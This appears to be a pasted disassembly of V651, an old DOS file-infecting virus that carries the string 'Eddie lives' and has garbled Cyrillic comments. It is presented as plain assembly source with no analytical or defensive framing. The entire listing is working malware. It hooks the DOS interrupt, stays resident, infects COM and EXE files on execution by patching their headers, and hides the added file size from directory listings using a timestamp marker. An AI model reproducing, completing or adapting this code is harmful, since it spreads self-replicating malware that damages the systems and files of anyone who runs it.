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Assembly Source File | 1980-01-01 | 17.9 KB | 395 lines

PAGE 59,132 ;██████████████████████████████████████████████████████████████████████████ ;██ ██ ;██ V651 ██ ;██ ██ ;██ Created: 17-Jan-80 ██ ;██ Version: ██ ;██ Passes: 9 Analysis Options on: ABCEFPX ██ ;██ ██ ;██ ██ ;██████████████████████████████████████████████████████████████████████████ data_1e equ 84h ; (6FC2:0084=0) data_2e equ 86h ; (6FC2:0086=0) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h v651 proc far start: jmp loc_2 ; (09EB) db 377 dup (0) data_4 dw 0 ; Data table (indexed access) data_5 dw 0 ; Data table (indexed access) data_6 dw offset loc_1, seg loc_1 ;*Data table (indexed access) data_8 dw 0 ; Data table (indexed access) data_9 dw 0 ; Data table (indexed access) data_10 dw 0 ; Data table (indexed access) db 0 ; Data table (indexed access) db 0 data_13 dw 0 db 0, 0 data_14 dw 0 data_15 dw 0 data_16 dw 0 data_17 dd 00000h db 0, 0 data_19 dd 00000h data_21 dw 0 data_22 dw 0 db 1863 dup (0) loc_2: call sub_1 ; (09EE) v651 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_1 proc near pop bx sub bx,3 ; bx - ¡á╖á½Ñ¡ áñ░Ñ▒ push ax sub ax,ax mov es,ax ; ES:=0 mov ax,es:[84h] ; éºÑ¼á INT 21h óÑ¬▓«░á mov cs:[bx+027Ch],ax ; çá»áºóá offs ¡á INT 13h mov ax,es:[86h] ; éºÑ¼á seg ¡á INT 13h mov cs:[bx+027Eh],ax ; çá»áºóá seg ¡á INT 13h mov ax,0A55Ah int 21h ; Å░«óÑ░┐óá ºá ░Ñº¿ñÑ¡▓Ñ¡ ó¿░│▒ cmp ax,5AA5h je loc_3 ; Ç¬« Ñ ░Ñº¿ñÑ¡▓Ñ¡. êº╡«ñ mov ax,sp inc ax mov cl,4 shr ax,cl ; Shift w/zeros fill inc ax mov cx,ss add ax,cx mov cx,ds dec cx ; ìá¼¿░á ¬░á┐▓ ¡á »░«ú░á¼á▓á mov es,cx mov di,2 mov dx,2Bh mov cx,[di] ; é CX ▒Ñ ºá»¿▒óá ░áº¼Ñ░á ¡á »á¼Ñ▓▓á sub cx,dx ; êºóáªñá «▓ CX , DX cmp cx,ax ; Å░«óÑ░┐óá ñá½¿ ¿¼á ¼┐▒▓« ºá ó¿░│▒á jb loc_3 ; Ç¬« ¡┐¼á ¿º½¿ºá sub es:[di+1],dx ; êºóáªñá ñ║½ª¿¡á▓á ¡á ó¿░│▒á «▓ ▓Ñ¬│╣¿┐ í½«¬ mov [di],cx ; çá»¿▒óá ¡«ó¿┐▓ ░áº¼Ñ░ ¡á »á¼Ñ▓▓á mov es,cx mov si,bx sub di,di mov cx,140h cld ; Å░Ñ¼Ñ▒▓óá ¬«ñá ó ú«░¡á▓á ╖á▒▓ rep movs word ptr es:[di],word ptr cs:[si] mov ax,es ; AX:=ES mov es,cx ; ES:=0 cli mov word ptr es:[84],0A7h ; Å░«¼Ñ¡┐ INT 21h mov es:[86],ax sti loc_3: push ds pop es mov ax,cs:[bx+0288h] ; çá░Ñªñá ┤½«ú ºá ▓¿»á ¡á ┤á¿½á cmp ax,5A4Dh ; öá¿½á Ñ EXE ? je loc_4 cmp ax,4D5Ah ; öá¿½á Ñ EXE ? je loc_4 mov di,100h ; é »░«▓¿óÑ¡ ▒½│╖á⌐ ┤á¿½á Ñ COM mov [di],ax mov al,byte ptr [bx+28Ah] ; é║º▒▓á¡«ó┐óá »║░ó¿▓Ñ 3 íá⌐▓á mov [di+2],al pop ax push di retn ; é░║╣á │»░áó½Ñ¡¿Ñ▓« ¡á »░ú░á¼á▓á loc_4: pop ax mov dx,ds add dx,10h ; Å░¿íáó┐ ¬║¼ ▒▓á░▓«ó¿┐ áñ░Ñ▒ add word ptr cs:[bx+0282h],dx ; ▓Ñ¬│╣¿┐ ▒Ñú¼Ñ¡▓ add dx,cs:[bx+0286h] ; Å░¿íáó┐ ¬║¼ ▓Ñ¬│╣¿┐ ▒Ñú¼Ñ¡▓ mov ss,dx ; «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS mov sp,cs:[bx+0284h] ; é║º▒▓á¡«ó┐óá SP jmp dword ptr cs:[bx+0280h] ; Å░Ñ╡«ñ ¬║¼ ó╡«ñ¡á▓á ▓«╖¬á ¡á ┤á¿½á ;----------------------------------------------------------------------------- sti ; é╡«ñ¡á ▓«╖¬á ¡á INT 21h cmp ax,4B00h ; Exec read & exec je loc_10 cmp ah,11h ; FindFirst FCB je loc_5 cmp ah,12h ; FindNext FCB je loc_5 cmp ax,0A55Ah je loc_9 ; Jump if equal jmp loc_28 ; (0C44) loc_5: pushf ; Push flags call dword ptr cs:data_4 ; (6FC2:027C=0) test al,al ; Å░«óÑ░┐óá ñá½¿ Ñ ¡á¼Ñ░Ñ¡ ┤á¿½ jnz loc_ret_8 ; Ç¬« ¡Ñ êçòÄä! push ax push bx ; çá»áºóá AX,BX,ES push es mov bx,dx mov al,[bx] push ax mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx pop ax inc al jnz loc_6 ; Jump if not zero add bx,7 loc_6: mov ax,es:[bx+17h] and al,1Fh ; Å░«óÑ░┐óá ñá½¿ Ñ ºá░áºÑ¡ cmp al,1Fh jne loc_7 and byte ptr es:[bx+17h],0E0h sub word ptr es:[bx+1Dh],28Bh ; è«░¿ú¿░á ñ║½ª¿¡á▓á sbb word ptr es:[bx+1Fh],0 loc_7: pop es pop bx ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ pop ax loc_ret_8: iret ; Interrupt return loc_9: not ax ; Æ«óá Ñ ┤│¡¬╢¿┐ A55A iret ; Interrupt return loc_10: push ds push es push ax ; éºÑ¼á INT 24h push bx push cx push dx push si push di mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx push es push bx push ds push dx ; Å░«¼Ñ¡┐ INT 24h push cs pop ds mov dx,25Eh mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop dx pop ds mov ax,4300h ; éºÑ¼á á▓░¿í│▓¿▓Ñ ¡á ┤á¿½á int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx jnc loc_11 ; Jump if carry=0 sub cx,cx jmp loc_26 ; êº╡«ñ loc_11: push cx test cl,1 jz loc_12 ; Å░«óÑ░┐óá ñá½¿ ¡┐¼á ó¬½╛╖Ñ¡ read-only dec cx mov ax,4301h ; Å░«¼Ñ¡┐ á▓░¿í│▓¿▓Ñ ¡á ┤á¿½á int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx loc_12: mov ax,3D02h ; Ä▓óá░┐ ┤á¿½á int 21h push cs pop ds jnc loc_13 ; Jump if carry=0 jmp loc_25 ; (0C2A) loc_13: mov bx,ax mov ax,5700h ; éºÑ¼á ó░Ñ¼Ñ▓« ¡á ┤á¿½á int 21h ; DOS Services ah=function 57h ; get/set file date & time jc loc_14 ; Jump if carry Set mov al,cl or cl,1Fh ; Å░«óÑ░┐óá ┤á¿½á ºá░áºÑ¡ ½¿ Ñ cmp al,cl jne loc_15 ; Jump if not equal loc_14: jmp loc_24 ; (0C26) loc_15: push cx push dx mov dx,288h mov cx,18h mov ah,3Fh ; ùÑ▓Ñ »░Ñ┤¿¬▒á ¡á EXE int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx jc loc_16 ; Jump if carry Set sub cx,ax jnz loc_16 ; Jump if not zero les ax,data_17 ; çá»«¼¡┐ «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS ¿ SP mov data_8,es ; (6FC2:0284=0) => SS mov data_9,ax ; (6FC2:0286=0) => SP les ax,data_19 ; çá»«¼¡┐ «▓¼Ñ▒▓óá¡Ñ▓« ¡á CS ¿ IP mov word ptr data_6,ax ; (6FC2:0280=0) => IP mov word ptr data_6+2,es ; (6FC2:0282=0) => CS mov dx,cx mov ax,4202h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset jc loc_16 ; Jump if carry Set mov data_21,ax ; (6FC2:02A0=0) mov data_22,dx ; (6FC2:02A2=0) mov cx,28Bh cmp ax,cx sbb dx,0 jc loc_16 ; Jump if carry Set call sub_2 ; Å░«óÑ░┐óá ñá½¿ Ñ EXE jz loc_17 ; Jump if zero cmp ax,0FB75h ; Å░«óÑ░┐óá ñá½¿ Ñ ó║º¼«ª¡« ñá ▒Ñ ºá»¿╕Ñ jb loc_17 ; Jump if below loc_16: jmp loc_22 ; (0C1C) loc_17: sub dx,dx mov ah,40h ; çá»¿▒óá ó¿░│▒á ó ¬░á┐ ¡á ┤á¿½á int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx jc loc_16 ; Jump if carry Set sub cx,ax jnz loc_16 ; Jump if not zero mov dx,cx mov ax,4200h ; Å░Ñ¼Ñ▒▓óá FP ó ¡á╖á½«▓« ¡á ┤á¿½á int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset jc loc_16 ; Jump if carry Set mov ax,data_21 ; (6FC2:02A0=0) call sub_2 ; Å░«óÑ░┐óá ñá½¿ Ñ EXE jnz loc_20 ; Jump if not zero mov dx,data_22 ; (6FC2:02A2=0) mov cx,4 mov si,data_14 ; (6FC2:0290=0) sub di,di locloop_18: shl si,1 ; Shift w/zeros fill rcl di,1 ; Rotate thru carry loop locloop_18 ; Loop if cx > 0 sub ax,si sbb dx,di mov cl,0Ch shl dx,cl ; Shift w/zeros fill mov word ptr data_19,ax ; (6FC2:029C=0) mov word ptr data_19+2,dx ; (6FC2:029E=0) add dx,31h nop ; è«░¿ú¿░á »░Ñ┤¿¬▒á mov word ptr data_17+2,ax ; (6FC2:0298=0) mov word ptr data_17,dx ; (6FC2:0296=0) add data_15,9 ; (6FC2:0292=0) mov ax,data_15 ; (6FC2:0292=0) cmp ax,data_16 ; (6FC2:0294=0) jb loc_19 ; Jump if below mov data_16,ax ; (6FC2:0294=0) loc_19: mov ax,word ptr ds:[28Ah] ; (6FC2:028A=0) add ax,28Bh push ax and ah,1 mov word ptr ds:[28Ah],ax ; (6FC2:028A=0) pop ax mov cl,9 shr ax,cl ; Shift w/zeros fill add data_13,ax ; (6FC2:028C=0) jmp short loc_21 ; (0C0C) loc_20: sub ax,3 mov byte ptr data_10,0E9h ; (6FC2:0288=0) mov word ptr data_10+1,ax ; (6FC2:0289=0) loc_21: mov dx,288h mov cx,18h mov ah,40h ; çá»¿▒óá »░Ñ┤¿¬▒á int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx jc loc_22 ; Jump if carry Set cmp ax,cx je loc_23 ; Jump if equal loc_22: stc ; Set carry flag loc_23: pop dx pop cx jc loc_24 ; é║º▒▓á¡«ó┐óá ó░Ñ¼Ñ▓« mov ax,5701h int 21h ; DOS Services ah=function 57h ; get/set file date & time loc_24: mov ah,3Eh ; çá▓óá░┐ ┤á¿½á int 21h loc_25: pop cx loc_26: test cl,1 jz loc_27 ; Jump if zero mov ax,4301h ; é║º▒▓á¡«ó┐óá á▓░¿í│▓¿▓Ñ int 21h ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx loc_27: pop dx pop ds mov ax,2524h int 21h ; é║º▒▓á¡«ó┐óá INT 24h pop di pop si pop dx pop cx ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ pop bx pop ax pop es pop ds loc_28: jmp dword ptr cs:data_4 ; (6FC2:027C=0) mov al,3 iret ; Interrupt return sub_1 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_2 proc near ; Å░«óÑ░┐óá ñá½¿ ┤á⌐½á Ñ EXE mov si,data_10 ; (6FC2:0288=0) cmp si,5A4Dh je loc_ret_29 ; Jump if equal cmp si,4D5Ah loc_ret_29: retn sub_2 endp db 'Eddie lives' otmestwania db 0, 60h, 14h, 8Eh, 2, 0 db 7 dup (0) First_inst: db 0CDh, 20h, 0 seg_a ends end start